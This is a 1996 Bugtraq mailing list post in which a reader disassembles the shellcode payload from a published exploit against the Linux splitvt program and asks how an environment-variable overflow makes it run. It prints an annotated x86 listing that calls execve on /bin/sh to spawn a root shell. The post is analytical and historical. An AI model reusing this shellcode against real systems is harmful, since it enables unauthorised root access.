Bugtraq mailing list archives

Linux SPLITVT bug (again)


From: antitrck () sbox tu-graz ac at (ALEXANDER SCHUETZ)
Date: Thu, 4 Jan 1996 19:21:35 +0100


Dear fellow Bugtraq members,

I would like, if I may, focus again on the "splitvt" exploit that was
posted to this mailing list earlier. This very intriguing little program
is what made me subscribe to this very mailing list. Please take note
that I only saw the sourcecode of the splitvt exploit and I most likely
may have missed anything that has been discussed about it. To be frank, I
am pretty puzzled how a bad "HOME=" environment variable seem to be able
to cause such surprises as a root shell. If you remember, the SPLITVT
"egg" places itself in the HOME environment; it mostly consists of stack
data, which are followed by the "egg" itself.

I absolutely do not understand why a small program in the enviroment
variable can be executed. However, to make things clear, i did reassemble
the routines (using the assumption that the egg code starts at 0x0100)
and found out that they're surprisingly simple. They neither seem to
cause a stack overflow nor a FPU exception, nor any other exception for
that matter.

Here is what I found out:



  (the code is assumed to start at 0x0100)




 100           jmp 126           ; start here
 102           pop esi           ; get "$12b" from stack=addr of string
 103           lea ebx,[esi]     ; ebx:="12b"=addr of string
 105           mov [esi+0b],ebx  ; poke 12b+b, "0,0,01,2b"
 108           xor edx,edx       ; long edx:=0
 10a           mov [esi+07],edx  ; poke 12b+7, (0,0,0,0) (4bytes)
 10d           mov [esi+0f],edx  ; poke 12b+f, (0,0,0,0) (4bytes)
 110           mov eax,1234561b
 115           xor eax,12345610  ; long eax:=0x0000000b
 11a           lea ecx,[esi+0b]  ; ecx := 12b+b (which is a pointer to str)
 11d           mov edx, ecx      ; edx = ecx  = stringaddr+b = 12b+b
 11f           int 80            ; EXECVE kernal call!
 121           xor eax,eax       ; eax:=0
 123           inc eax           ; eax:=1
 124           int 80            ; _EXIT kernal call: exit here.
 126           call 102          ; goto 102, with "$12b" on stack

 ;012b + offset(hex):0123456   7 8 9 a    b c d  e     f
 12b           .db "/bin/sh"  ,0,0,0,0,   0,0,01,$2b,  0,0,0,0
 ;                             1longword  2longword    3longword


Summary (for C programmers who can't read asm code):

The program starts at $0100. The first thing it does is to push the
address of the string "bin/sh" to the stack, then it gets this address,
and places a zero-longword after the "bin/sh" string. The zero-longword
is followed by a pointer-longword that points to the string itself
(at 0x012b), then, another zero-longword is being placed.
After appending these 3 important longwords to the string, ecx and
edx are now pointing to the second longword after the string (which
is pointing to the beginning of the string itself), then the kernal
EXECV function is being called, causing a root shell.
After the EXECV is being called, the _EXIT kernal call exits from the
shell if I am not mistaken.

The point I cannot figure is: How is "splitvt" being forced to EXECUTE
this little program? After all, it just sits in the environment variable.
I dont get it how a HOME environment variable can force "splitvt" to
execute a jump into that environment string?!?!

If someone can explain, I shall be very glad indeed.

Yours,

        Alex.



Current thread: